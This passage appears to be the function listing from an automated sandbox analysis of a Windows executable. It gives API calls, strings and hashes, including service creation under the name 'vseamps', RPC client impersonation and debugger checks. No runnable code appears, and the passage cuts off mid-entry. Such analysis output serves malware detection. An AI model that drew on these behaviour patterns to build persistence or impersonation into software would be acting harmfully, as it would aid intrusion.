GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F0A5
GetProcAddress.KERNEL32 ref: 000000014000F0F3
GetProcAddress.KERNEL32 ref: 000000014000F117

Part of subcall function 00000001400073E0: LdrLoadDll.NTDLL ref: 00000001400073E2

Strings

GetActiveWindow, xrefs: 000000014000F075
MessageBoxA, xrefs: 000000014000F054
USER32.DLL, xrefs: 000000014000F03B
GetUserObjectInformationA, xrefs: 000000014000F0E9
GetLastActivePopup, xrefs: 000000014000F094
GetProcessWindowStation, xrefs: 000000014000F10D

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: AddressProc$Load$Library
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 3981747205-232180764
Opcode ID: a4a8166f7fb3539f2a033069c8db60d0a751c3badd5dc7e485aee673dfe3cd32
Instruction ID: 2f5902004a3f6de811dc5f380475ae1a3efdd32c0186a6d00da0f9ae6c345c7d
Opcode Fuzzy Hash: a4a8166f7fb3539f2a033069c8db60d0a751c3badd5dc7e485aee673dfe3cd32
Instruction Fuzzy Hash: FE515CB561674181FE66EB63B850BFA2290BB8D7D0F484025BF4E4BBB1EF3DC445A210

Function 00000001400022C0 Relevance: 15.1, APIs: 10, Instructions: 96threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 0000000140002315
CreateEventW.KERNEL32 ref: 0000000140002326
CreateEventW.KERNEL32 ref: 0000000140002340
CreateEventW.KERNEL32 ref: 000000014000235E
RpcImpersonateClient.RPCRT4 ref: 0000000140002372
GetCurrentThread.KERNEL32 ref: 0000000140002390
OpenThreadToken.ADVAPI32 ref: 00000001400023A7
RpcRevertToSelfEx.RPCRT4 ref: 0000000140002402

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CreateEvent$Thread$ClientCriticalCurrentImpersonateInitializeOpenRevertSectionSelfToken
String ID:
API String ID: 4284112124-0
Opcode ID: edd1c8558eeb60cdd671b70c13388f4905a0e10de3bd345b1359afa696ffe28d
Instruction ID: d1cc2c0b88e239984ef66edc10b99dba483783d79de04edfe0f0364e5ac1fb7c
Opcode Fuzzy Hash: edd1c8558eeb60cdd671b70c13388f4905a0e10de3bd345b1359afa696ffe28d
Instruction Fuzzy Hash: 65415D72604B408AE351CF66F88479EB7A0F78CB94F508129EB8A47B74CF79D595CB40

Function 0000000140001430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52serviceCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000000014000145E
OpenSCManagerW.ADVAPI32 ref: 000000014000146C
GetLastError.KERNEL32 ref: 000000014000147A
CreateServiceW.ADVAPI32 ref: 00000001400014D4
CloseServiceHandle.ADVAPI32 ref: 00000001400014E2
CloseServiceHandle.ADVAPI32 ref: 00000001400014F5

Strings

vseamps, xrefs: 00000001400014AD, 00000001400014B4

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Service$CloseHandle$CreateErrorFileLastManagerModuleNameOpen
String ID: vseamps
API String ID: 3693165506-3944098904
Opcode ID: 37866f258d51cd6cd84815c45d3eaefe281d6d9a8e40d6c1e65e6d09f5d7cdba
Instruction ID: 61898eac7960aa5413d410c65d13376abce5a62f28ec8a6c68938921ced9de71
Opcode Fuzzy Hash: 37866f258d51cd6cd84815c45d3eaefe281d6d9a8e40d6c1e65e6d09f5d7cdba
Instruction Fuzzy Hash: F321FCB1204B8086EB56CF66F88439A73A4F78C784F544129E7894B774DF7DC149CB00

Function 0000000140009300 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,?,00000000,00000001,000000014000961C,?,?,?,?,?,?,0000000140009131,?,?,00000001), ref: 00000001400093CF

Strings

..., xrefs: 0000000140009431
Runtime Error!Program: , xrefs: 000000014000938D
<program name unknown>, xrefs: 00000001400093D9
Microsoft Visual C++ Runtime Library, xrefs: 00000001400094B4

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: FileModuleName
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 514040917-4022980321
Opcode ID: 1d01bebd6d090e025827d9f03818fc87fa6a91df27b235dcc59e95ab31d19661
Instruction ID: eb4045a5a240d2828a775daba1198261b01968dd91f8e387fbd6cb4ec0284cf4
Opcode Fuzzy Hash: 1d01bebd6d090e025827d9f03818fc87fa6a91df27b235dcc59e95ab31d19661
Instruction Fuzzy Hash: F851EFB131464042FB26DB2BB851BEA2391A78D7E0F484225BF2947AF2DF39C642C304

Function 000000014000BB70 Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32 ref: 000000014000BBDC
GetLastError.KERNEL32 ref: 000000014000BBEC
LCMapStringW.KERNEL32 ref: 000000014000BC5F
WideCharToMultiByte.KERNEL32 ref: 000000014000BCC8
WideCharToMultiByte.KERNEL32 ref: 000000014000BD80
LCMapStringA.KERNEL32 ref: 000000014000BDA3

Part of subcall function 00000001400090F0: HeapAlloc.KERNEL32(?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423,?,?,?,000000014000FC9E), ref: 0000000140009151

LCMapStringA.KERNEL32 ref: 000000014000BE48
MultiByteToWideChar.KERNEL32 ref: 000000014000BEC8

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: String$ByteCharMultiWide$AllocErrorHeapLast
String ID:
API String ID: 2057259594-0
Opcode ID: d3ef643e943a21760fc28678b116a7f08da1d9f04a09311d9013e3bfd6c4d4e3
Instruction ID: f9b9a5bb90e2e08b647a9eb75fc4ff4e18af91537db3c322e1916602633d995e
Opcode Fuzzy Hash: d3ef643e943a21760fc28678b116a7f08da1d9f04a09311d9013e3bfd6c4d4e3
Instruction Fuzzy Hash: B6A16AB22046808AEB66DF27E8407EA77E5F74CBE8F144625FB6947BE4DB78C5408700

Function 0000000140005A70 Relevance: 12.2, APIs: 8, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 0000000140005A8B
GetProcessHeap.KERNEL32 ref: 0000000140005A92
HeapAlloc.KERNEL32 ref: 0000000140005AA3
GetVersionExA.KERNEL32 ref: 0000000140005AE6
GetProcessHeap.KERNEL32 ref: 0000000140005AF0
HeapFree.KERNEL32 ref: 0000000140005AFE
GetProcessHeap.KERNEL32 ref: 0000000140005B22
HeapFree.KERNEL32 ref: 0000000140005B30

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$Process$Free$AllocInfoStartupVersion
String ID:
API String ID: 3103264659-0
Opcode ID: b926c3abaa2c479ec326760b90e5a1fd11221ebaffc6337adf83b77cd4a46ae1
Instruction ID: 8fdcf1cc106887877eb8bf0912cd84dfc65bead55acac366e092854278e1a3ce
Opcode Fuzzy Hash: b926c3abaa2c479ec326760b90e5a1fd11221ebaffc6337adf83b77cd4a46ae1
Instruction Fuzzy Hash: 0F7167B1604A418AF767EBA3B8557EA2291BB8D7C5F084039FB45472F2EF39C440C741

Function 00007FFE13202630 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFE1320264C
RtlCaptureContext.KERNEL32 ref: 00007FFE13202679
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFE13202693
RtlVirtualUnwind.KERNEL32 ref: 00007FFE132026D4
IsDebuggerPresent.KERNEL32 ref: 00007FFE13202728
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFE13202745
UnhandledExceptionFilter.KERNEL32 ref: 00007FFE13202750

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 710f6283529bc39a5878960356047a6e461f095b9b13c17159f2665477d47395
Instruction ID: b45511375f6b95b5bbe607e6132c8178157d0ad52ffacfbbeb251530e3bfe459
Opcode Fuzzy Hash: 710f6283529bc39a5878960356047a6e461f095b9b13c17159f2665477d47395
Instruction Fuzzy Hash: 5A316D72608F818AEB60AF61E8403ED7361FBA5758F44403ADA4E67BA5DF38C648C710

Function 0000000140007C91 Relevance: 9.1, APIs: 6, Instructions: 137COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 0000000140007D66
IsDebuggerPresent.KERNEL32 ref: 0000000140007DAA
SetUnhandledExceptionFilter.KERNEL32 ref: 0000000140007DB4
UnhandledExceptionFilter.KERNEL32 ref: 0000000140007DBF
GetCurrentProcess.KERNEL32 ref: 0000000140007DD5
TerminateProcess.KERNEL32 ref: 0000000140007DE3

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerPresentTerminate
String ID:
API String ID: 1269745586-0
Opcode ID: 971e421c69f8e6a9c7be80a9fd1684b11f1d9217f6c56614116cebe2abaa4248
Instruction ID: e2ab3ef72b7f240c54b21dbf897bf6525f512fe4427dd1c0d247b710ac710d4c
Opcode Fuzzy Hash: 971e421c69f8e6a9c7be80a9fd1684b11f1d9217f6c56614116cebe2abaa4248
Instruction Fuzzy Hash: 53115972608B8186D7129F62F8407CE77B0FB89B91F854122EB8A43765EF3DC845CB00

Function 00007FFE132076E0 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FFE13207759
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFE13207771
RtlVirtualUnwind.KERNEL32 ref: 00007FFE132077AC
IsDebuggerPresent.KERNEL32 ref: 00007FFE132077E5
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFE132077EF
UnhandledExceptionFilter.KERNEL32 ref: 00007FFE132077FA

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 5eef0cc7783b0be87f0727cc0123e63361c6ac4350bb89c20972030a757485fe
Instruction ID: 3fcb55011bcafaea8dad090f616b4d27293f7d5aa6a5ab4bdd55e21732c7fdc0
Opcode Fuzzy Hash: 5eef0cc7783b0be87f0727cc0123e63361c6ac4350bb89c20972030a757485fe
Instruction Fuzzy Hash: C7316132618F8189DB60DF26E8402AE73A4FBE5764F500176EA9D53B65DF3CD149CB00

Function 000000014000A370 Relevance: 7.5, APIs: 5, Instructions: 41timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000000014000A3AF
GetCurrentProcessId.KERNEL32 ref: 000000014000A3BA
GetCurrentThreadId.KERNEL32 ref: 000000014000A3C6
GetTickCount.KERNEL32 ref: 000000014000A3D2
QueryPerformanceCounter.KERNEL32 ref: 000000014000A3E3

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 348833bf0fd47251ec8459b694c57c39dac6eb63685dc4ebaa15df7501b8973f
Instruction ID: 72e860a1e5610cf2f60718b33953b9e9cfa3de8eae9ff42976e828aecb981d5d
Opcode Fuzzy Hash: 348833bf0fd47251ec8459b694c57c39dac6eb63685dc4ebaa15df7501b8973f
Instruction Fuzzy Hash: 4101F775255B4082EB928F26F9403957360F74EBA0F456220FFAE4B7B4DA3DCA958700

Function 0000000140004630 Relevance: 5.1, APIs: 4, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,00000001400047BB,?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 00000001400046B0
HeapReAlloc.KERNEL32(?,?,?,00000001400047BB,?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 00000001400046C1

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: e1b55434e6231e5ce6780f684ad3576ffb26ff33b9fae7a8d56a49fd816118fb
Instruction ID: 02c5a1d02253778f48d8bcd65850d79aa5baad65f26a42f950a3123f4edab52d
Opcode Fuzzy Hash: e1b55434e6231e5ce6780f684ad3576ffb26ff33b9fae7a8d56a49fd816118fb
Instruction Fuzzy Hash: CB31D1B2715A8082EB06CF57F44039863A0F74DBC4F584025EF5D57B69EB39C8A28704

Function 00000001400106B0 Relevance: 4.5, APIs: 3, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00000001400106EF
SetUnhandledExceptionFilter.KERNEL32 ref: 0000000140010735
UnhandledExceptionFilter.KERNEL32 ref: 0000000140010740

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContext
String ID:
API String ID: 2202868296-0
Opcode ID: 905f91afdcc57dbacad6504ae7f65679640b92e152865c9b61e81d303733290d
Instruction ID: a6869a7b9d4117274e99734abe304e52ce4a6a571683f9898e15e7d65764808a
Opcode Fuzzy Hash: 905f91afdcc57dbacad6504ae7f65679640b92e152865c9b61e81d303733290d
Instruction Fuzzy Hash: 44014C31218A8482E7269B62F4543DA62A0FBCD385F440129B78E0B6F6DF3DC544CB01

Function 00007FFE13210248 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FFE13210497
RaiseException.KERNEL32 ref: 00007FFE132104A8

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 242015c6cea6594ab8d644b6eea7da2ef8062d64434110bbd4fb3fd5cf8f1a15
Instruction ID: fe5263e204a04b5544e0632a75cabc386e24d3d3a562b7af1947b06aa55c5468
Opcode Fuzzy Hash: 242015c6cea6594ab8d644b6eea7da2ef8062d64434110bbd4fb3fd5cf8f1a15
Instruction Fuzzy Hash: 19B13473A00B898BEB15DF2AC98636C7BA0F784B58F14C962DA5D837A9CB3DD451C700

Function 00000001400103D0 Relevance: 3.2, APIs: 2, Instructions: 183COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00000001400105C2
GetLastError.KERNEL32 ref: 00000001400105ED

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 52eb8cb33472843dab3d23723d723ebc9e780f32240a0bf22a1f45fa5c529dea
Instruction ID: 2a1840496c7657cf23b6901bcaaf21815035fe120b0a860a82176d8039cbaff9
Opcode Fuzzy Hash: 52eb8cb33472843dab3d23723d723ebc9e780f32240a0bf22a1f45fa5c529dea
Instruction Fuzzy Hash: C871DF72A04AA086F7A3DF12E441BDA72A1F78CBD4F148121FF880B7A5DB798851CB10

Function 0000000140010CF0 Relevance: 3.1, APIs: 2, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a23616b521790ba98c8a4ca650accd459689c226ef9c151115ac5421c5afe981
Instruction ID: 31705e6bd3fe747407dbe92e60a9b5f63bdbefd7c066999fadf2412e4a74ef82
Opcode Fuzzy Hash: a23616b521790ba98c8a4ca650accd459689c226ef9c151115ac5421c5afe981
Instruction Fuzzy Hash: BD312B3260066442F723AF77F845BDE7651AB987E0F254224BB690B7F2CFB9C4418300

Function 00007FFE1320A1B8 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a2880f174246bb62df44fff46a4d3d73a1dc8eca39573d4fb70521656c567db
Instruction ID: 811884ade670e16a3f1d35e87278fc619aa27cec87588dbf54acea3412aba70e
Opcode Fuzzy Hash: 4a2880f174246bb62df44fff46a4d3d73a1dc8eca39573d4fb70521656c567db
Instruction Fuzzy Hash: 5051D922B08B8189FB20EB77A8441AE7BA4BB947A4F544274EE5D37AA5CE3CD405C700

Function 0000000140011270 Relevance: 1.6, APIs: 1, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlLookupFunctionEntry.KERNEL32 ref: 00000001400112F1

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: EntryFunctionLookup
String ID:
API String ID: 3852435196-0
Opcode ID: 41b57387ab27fe441920d3618a9a3fade831f152bc6ed6de484845005a0f7214
Instruction ID: 0a16dca171e58903ec1b218c91cdb1b04bf095347935d32e98aab42d926b4c07
Opcode Fuzzy Hash: 41b57387ab27fe441920d3618a9a3fade831f152bc6ed6de484845005a0f7214
Instruction Fuzzy Hash: 7A316D33700A5482DB15CF16F484BA9B724F788BE8F868102EF2D47B99EB35D592C704

Function 000000014000DDD9 Relevance: 1.6, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

, xrefs: 000000014000E388

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 4dbe44af600c182fb51974a0b490eba2bf44001a013ded284afa934d15dcb5c0
Instruction ID: 9b910ad21b0c4e6c2a4c619a0863cbecb71c4e07d0bd79d978466706db7fd7a1
Opcode Fuzzy Hash: 4dbe44af600c182fb51974a0b490eba2bf44001a013ded284afa934d15dcb5c0
Instruction Fuzzy Hash: 2FD1DEF25087C486F7A2DE16B5083AABAA0F7593E4F240115FF9527AF5E779C884CB40

Function 000000014000F370 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32 ref: 000000014000F398

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e82685a3153856f58f3176b49433fa40cc0a6602fc72f3bc0670cd1eec4d2bc4
Instruction ID: a72933d7652eee1ce42449f64e4370b365fbcbea739f10b8ca5cd41f8ceea018
